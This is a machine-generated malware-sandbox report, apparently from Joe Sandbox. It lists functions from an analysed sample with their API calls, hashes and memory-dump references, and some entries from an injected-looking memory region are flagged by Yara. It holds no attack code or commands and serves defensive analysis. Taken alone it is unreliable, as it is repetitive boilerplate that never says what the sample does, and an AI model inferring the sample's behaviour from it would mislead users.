Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: c7ba28a5c92582b88fcf795ebcbfd430af7d365da558559f96ded5d2e4010428
Instruction ID: c20c798f3863af41d1904a221207e136879791034634afff3e4d026e10236415
Opcode Fuzzy Hash: c7ba28a5c92582b88fcf795ebcbfd430af7d365da558559f96ded5d2e4010428
Instruction Fuzzy Hash: 27F0F6363043046FDB255F799C81ABB7B95EF84768F15442DF9458B680D7B19C42C750

Function 001A7959 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 001A134A: EnterCriticalSection.KERNEL32(-0002A907,?,001A5F47,?,001C5950,00000008,001A610B,CE3BFFFF,0019DD61,?,CE3BFFFF,0019DD61,0019112E,?,001A11FE), ref: 001A1359

EnumSystemLocalesW.KERNEL32(001A794C,00000001,001C5A70,0000000C,001A7D81,00000000), ref: 001A7991

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 28fdac3950644a095530ba40deee37b843349d0761b39df622e950c41e964b5c
Instruction ID: c8b04164a7d4cbb6f8825f6c34fa1b1bc3b0508f9c6cf5e0b5eab37581671870
Opcode Fuzzy Hash: 28fdac3950644a095530ba40deee37b843349d0761b39df622e950c41e964b5c
Instruction Fuzzy Hash: 19F0497AA44200EFDB00DF99E842B9D7BB0FB1A771F00811AF4159B2E1CBB599808F50

Function 001B0E62 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 001A626F: GetLastError.KERNEL32(00000000,?,001AB875), ref: 001A6273
Part of subcall function 001A626F: SetLastError.KERNEL32(00000000,00000000,?,00000006,000000FF), ref: 001A6315

EnumSystemLocalesW.KERNEL32(001B0DBB,00000001,00000000,?,?,001B1629,-00000050,?,?,?,00000055,?,-00000050,?,?,00000000), ref: 001B0E99

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: b67e02a72038b870609c39d12674ad1ef2ecb080430f2d11730b978b4fd40077
Instruction ID: e4f453c4526908c746d3659b6d8614a5588f77e9688c16ab3c4e5f4cbf4d271f
Opcode Fuzzy Hash: b67e02a72038b870609c39d12674ad1ef2ecb080430f2d11730b978b4fd40077
Instruction Fuzzy Hash: F1F0E53A3002055BCB05AF79D855AAB7F95EFC5B64F0A4459EA058B690C771D883C790

Function 001A7E85 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,001A4BEF,?,20001004,00000000,00000002,?,?,001A41E1), ref: 001A7EB9

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 22509970f0246605af9b3b435d4508971eeceea1ba85334cd9c45334db4784c2
Instruction ID: 6aa4bd86edaa4613c48ef8726c5cf1ecce7a71bd8115543356efd70b123e21aa
Opcode Fuzzy Hash: 22509970f0246605af9b3b435d4508971eeceea1ba85334cd9c45334db4784c2
Instruction Fuzzy Hash: CCE04F35505218BBCF122F60DC05AAE7F1AEF45B60F054010FD0566161CF318E61AAA4

Function 0019A5DA Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000A5E6,00199DCB), ref: 0019A5DF

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: a456bc83674c23169f16470737b3457c27b34e96dcbd5b319b449444c772eb0e
Instruction ID: a0f98dc67d83f5a0addf3fdef1a73bc75067917ab498e1e2708c23cfa6255eee
Opcode Fuzzy Hash: a456bc83674c23169f16470737b3457c27b34e96dcbd5b319b449444c772eb0e
Instruction Fuzzy Hash:

Function 001B1788 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 001B1788

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 0e0db1b19c2da36cb47ab1aa14554f653ef811b65fed219d08a76c69ebf6fceb
Instruction ID: 268ac9a50eab8164bb4fb62a22f3562de4291fe7f85419f7706b2f8bb3fa633e
Opcode Fuzzy Hash: 0e0db1b19c2da36cb47ab1aa14554f653ef811b65fed219d08a76c69ebf6fceb
Instruction Fuzzy Hash: 69A01130200200CB83008FB2AA8820A3AB8AB08AE0302802AA002C0AA0EF2080808F00

Function 03077787 Relevance: .7, Instructions: 730COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886445362.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_3070000_LisectAVT_2403002B_295.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e9605cc20d5a432bb4b98ed333ad3e91973b5d32c767189beb935d7d5ee4da1
Instruction ID: 825b3b7701f8a563103709c64c5bde8dcba5153ad042df9dadc59075ecb93aae
Opcode Fuzzy Hash: 9e9605cc20d5a432bb4b98ed333ad3e91973b5d32c767189beb935d7d5ee4da1
Instruction Fuzzy Hash: 19428A71A09301AFD764CF28C844B7BBBE8EF88B50F08492DF9959B251E770E941CB95

Function 001AC449 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b228e9bdc5041b8891d25a32c57909463d5157ab70e28eb6c241a4bcc82e2382
Instruction ID: 02d47b78e9e27435cfe7fa71918fdd90da7f87f736c1232b809f9fc980bc6140
Opcode Fuzzy Hash: b228e9bdc5041b8891d25a32c57909463d5157ab70e28eb6c241a4bcc82e2382
Instruction Fuzzy Hash: 8A322625D29F414DD7239639CC22336A68CAFB73D4F15D727E81AB5DAAEB29C4C34180

Function 03072DF3 Relevance: .4, Instructions: 429COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886445362.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_3070000_LisectAVT_2403002B_295.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54a19d4bb2a1054924f4bfc2abc68d4f449b9e1de2d679b882cf74b481fb4666
Instruction ID: fc0c42a94e4c3450f7c2d97064b94579dfc199cf30b82ec27b3c8c4d1c9370e2
Opcode Fuzzy Hash: 54a19d4bb2a1054924f4bfc2abc68d4f449b9e1de2d679b882cf74b481fb4666
Instruction Fuzzy Hash: 43D18535719B498BDB68DF2898996EEB7E5FB98701F04422DD85AC3240DF30E9128BC5

Function 030740AB Relevance: .4, Instructions: 405COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886445362.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_3070000_LisectAVT_2403002B_295.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a66aa8eccb36b3c863fa0cf2326f118ce4658279e53cce5a51b176019e00911a
Instruction ID: c7b2cf352e44ce666110fedb0b2bbcfa6c4699317dce3936d560368eb8318d2d
Opcode Fuzzy Hash: a66aa8eccb36b3c863fa0cf2326f118ce4658279e53cce5a51b176019e00911a
Instruction Fuzzy Hash: 51D15C31908A488FDB59EF28D889AEAB7E1FF98310F14466DE88AC7155DF30E546CB41

Function 03073CCF Relevance: .4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886445362.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_3070000_LisectAVT_2403002B_295.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d17924f1650dce35aa6cfa67234e302229330514130ed1fd0e34ce5b20ef98f
Instruction ID: 77f24007b48da1c8da03e1fd36797507c79d18d5c31bf7541a31f4f4e9514532
Opcode Fuzzy Hash: 5d17924f1650dce35aa6cfa67234e302229330514130ed1fd0e34ce5b20ef98f
Instruction Fuzzy Hash: 15B1B634B16E099BDB59EA29D8D57FAB3D1FB98300F1846A9C84AC7145DB30E806CBC5

Function 001B066C Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: ab77443549d4f8d012e506fc669cc7153daf4848ee6801d39caaae22dfff3247
Instruction ID: bd155b9d9e654624d64283f9b1c3bb79a239063c093077ae9d8cf7bb62d49ce7
Opcode Fuzzy Hash: ab77443549d4f8d012e506fc669cc7153daf4848ee6801d39caaae22dfff3247
Instruction Fuzzy Hash: C9B127355007059BDB39AB24CC92BFBB3A9EF59308F54496DE987C6581EB70FA81CB40

Function 03074F8F Relevance: .3, Instructions: 283COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886445362.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_3070000_LisectAVT_2403002B_295.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2464d5d1c8744b7938e622091fc8299d1c098dc56941e33080af8fbc6eb05a52
Instruction ID: a485c9ead8a3ad65d842a1f9db54958d365c06f11ab63233496258ea28621305
Opcode Fuzzy Hash: 2464d5d1c8744b7938e622091fc8299d1c098dc56941e33080af8fbc6eb05a52
Instruction Fuzzy Hash: EBA14031508A4C8FDB55EF28C889BEA77F9FB58315F10466EE44AC7160EB30D645CB84

Function 0019CD18 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 0019CE15
type_info::operator==.LIBVCRUNTIME ref: 0019CE37
___TypeMatch.LIBVCRUNTIME ref: 0019CF46
IsInExceptionSpec.LIBVCRUNTIME ref: 0019D018
_UnwindNestedFrames.LIBCMT ref: 0019D09C
CallUnexpected.LIBVCRUNTIME ref: 0019D0B7

Strings

csm, xrefs: 0019CDC2
csm, xrefs: 0019CD55
csm, xrefs: 0019CE6E

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 7aec6e042718b73f5d97a7c0129ac3453ce52b1994c53f95c3bff7213eac8c91
Instruction ID: dd13e65ca20f597f589b8707224873cb41d69e6669ca61a86c90f919b4356ec5
Opcode Fuzzy Hash: 7aec6e042718b73f5d97a7c0129ac3453ce52b1994c53f95c3bff7213eac8c91
Instruction Fuzzy Hash: 3AB15971800209EFCF29DFA4D9819AEBBB5FF24310F144169F8556B212D735EA52CBD1

Function 00191C30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00191C51
_Yarn.LIBCPMTD ref: 00191C63
_Yarn.LIBCPMTD ref: 00191C72
_Yarn.LIBCPMTD ref: 00191C81
_Yarn.LIBCPMTD ref: 00191C90
_Yarn.LIBCPMTD ref: 00191C9F
_Yarn.LIBCPMTD ref: 00191CAE
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00191CC5

Part of subcall function 00199422: _Yarn.LIBCPMT ref: 00199441
Part of subcall function 00199422: _Yarn.LIBCPMT ref: 00199465

Strings

bad locale name, xrefs: 00191CCF

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: Yarn$std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 3904239083-1405518554
Opcode ID: ffeaa84253d29bc2035b09a5cd951dc6e84da25cdf8a10b733574e0e6eb0b180
Instruction ID: 0777fdb89b7927c2d489ba6935a7c8c9fb80c368b7ea7e6c7e8cbe67c859886b
Opcode Fuzzy Hash: ffeaa84253d29bc2035b09a5cd951dc6e84da25cdf8a10b733574e0e6eb0b180
Instruction Fuzzy Hash: 71112CB190418AEFDF08EB98C955BAEB7B5BF11318F14455CE0122B382CB755A40C761

Function 001B624A Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00871AA8,00871AA8,?,7FFFFFFF,?,001B651A,00871AA8,00871AA8,?,00871AA8,?,?,?,?,00871AA8,?), ref: 001B62F0
__alloca_probe_16.LIBCMT ref: 001B63AB
__alloca_probe_16.LIBCMT ref: 001B643A
__freea.LIBCMT ref: 001B6485
__freea.LIBCMT ref: 001B648B
__freea.LIBCMT ref: 001B64C1
__freea.LIBCMT ref: 001B64C7
__freea.LIBCMT ref: 001B64D7

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: e7570ba6d852c2bab8eb8b9158a65454f306016f367f819edc11675f0bd76c9f
Instruction ID: cbb4d1950cfeb46e58c9a42f0858d369b57960fc7a2d661fa6cf27231ac9106c
Opcode Fuzzy Hash: e7570ba6d852c2bab8eb8b9158a65454f306016f367f819edc11675f0bd76c9f
Instruction Fuzzy Hash: 8171B272904619ABDF259F948C81BEE77F9BF75310F290159E908A7291DB399C0087A1

Function 00199AC3 Relevance: 12.2, APIs: 8, Instructions: 175COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 00199B0C
__alloca_probe_16.LIBCMT ref: 00199B38
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 00199B77
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00199B94
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00199BD3
__alloca_probe_16.LIBCMT ref: 00199BF0
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00199C32
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00199C55

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 6e8cd1f46c28d6e80931263dffb88b6348337774f1aa919b4fe6d1bb92fdbb7d
Instruction ID: bbec3e581f1ed021cc3930b18a83af25fc1c8580183833ac04b44645e1bfed79
Opcode Fuzzy Hash: 6e8cd1f46c28d6e80931263dffb88b6348337774f1aa919b4fe6d1bb92fdbb7d
Instruction Fuzzy Hash: 6D51D07250020AAFEF209F68DC85FAF7BE9EF40B90F114129F91596190DB35DD50CBA0

Function 001A84BD Relevance: 10.8, APIs: 7, Instructions: 329COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 001A8543

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 6058c8d8bd7cb4ea39ed55fea0095e515ba95e6e278c638f5cf01d2216fa674b
Instruction ID: e0657a833dc3f22b2587b669c27ac6adc967505ae6dc0ec7c86b702dae4fec4d
Opcode Fuzzy Hash: 6058c8d8bd7cb4ea39ed55fea0095e515ba95e6e278c638f5cf01d2216fa674b
Instruction Fuzzy Hash: ACB14676E003559FEB15CF68CC81BFEBBA5EF66350F284155E904AB282DB74D901CBA0

Function 001A7B26 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,001A7C35,0019DD61,CE3BFFFF,00000000,0019EAD5,00000000,?,001A7E5F,00000022,FlsSetValue,001BBE90,001BBE98,0019EAD5), ref: 001A7BE7

Strings

ext-ms-, xrefs: 001A7B91
api-ms-, xrefs: 001A7B7D

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: d19ba75c3fd3b106f99dfa9cb599840027aee198b7d62d2c195d9abfcf3e9a6a
Instruction ID: 26c049ae224a03f144252b7015ca6eb3f7af2cb42d767ba7730884cb6919dd50
Opcode Fuzzy Hash: d19ba75c3fd3b106f99dfa9cb599840027aee198b7d62d2c195d9abfcf3e9a6a
Instruction Fuzzy Hash: B021E7B9A09211ABCB319B24DC81EAA37689B43770F254151FD02A76D0DB70EF40CAF0

Function 00194040 Relevance: 9.2, APIs: 6, Instructions: 179COMMON

Download Yara Rule

APIs

_Fgetc.LIBCPMTD ref: 001940C6

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: Fgetc
String ID:
API String ID: 1720979605-0
Opcode ID: df3e938b8bd336d1175f1265e54ec88813a03f6862bb9e55ce358ac9d4bff078
Instruction ID: ae10ed7b44a0f01aca225c6b0e592d41eac4d2c9b3abc276f69ccec1058be0d5
Opcode Fuzzy Hash: df3e938b8bd336d1175f1265e54ec88813a03f6862bb9e55ce358ac9d4bff078
Instruction Fuzzy Hash: 27614871D00109DFCF18EBE4D992AEEB7B5BF24351F204229E512B7295EB346E05CBA1

Function 0019C9AA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0019C9A1,0019B0F1,0019A62A), ref: 0019C9B8
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0019C9C6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0019C9DF
SetLastError.KERNEL32(00000000,0019C9A1,0019B0F1,0019A62A), ref: 0019CA31

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 4ca126467df598fbe1c4a0c389017b7a076d09037674b4ef6d03ead8c95ce285
Instruction ID: a7c1e4daa203ef51ee1b6e70195b485787f9cdff913512f0898be4b28c58658e
Opcode Fuzzy Hash: 4ca126467df598fbe1c4a0c389017b7a076d09037674b4ef6d03ead8c95ce285
Instruction Fuzzy Hash: DE01F73211C7256FEF2467B4BC85E2A2A44FB237B47200329F111C25E1FF918C509A84

Function 0019DA42 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,0019DB03,?,?,001C85C4,00000000,?,0019DC2E,00000004,InitializeCriticalSectionEx,001B9C0C,InitializeCriticalSectionEx,00000000), ref: 0019DAD2

Strings

api-ms-, xrefs: 0019DA92

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: 09725215c6213f8103b0a6ac3611e722ee5cb32e4458667ebce6b62e7657d689
Instruction ID: 35c4852048759785cb9287d1d674d43abeb2eafcc0d2b92f31d868b07afb44c0
Opcode Fuzzy Hash: 09725215c6213f8103b0a6ac3611e722ee5cb32e4458667ebce6b62e7657d689
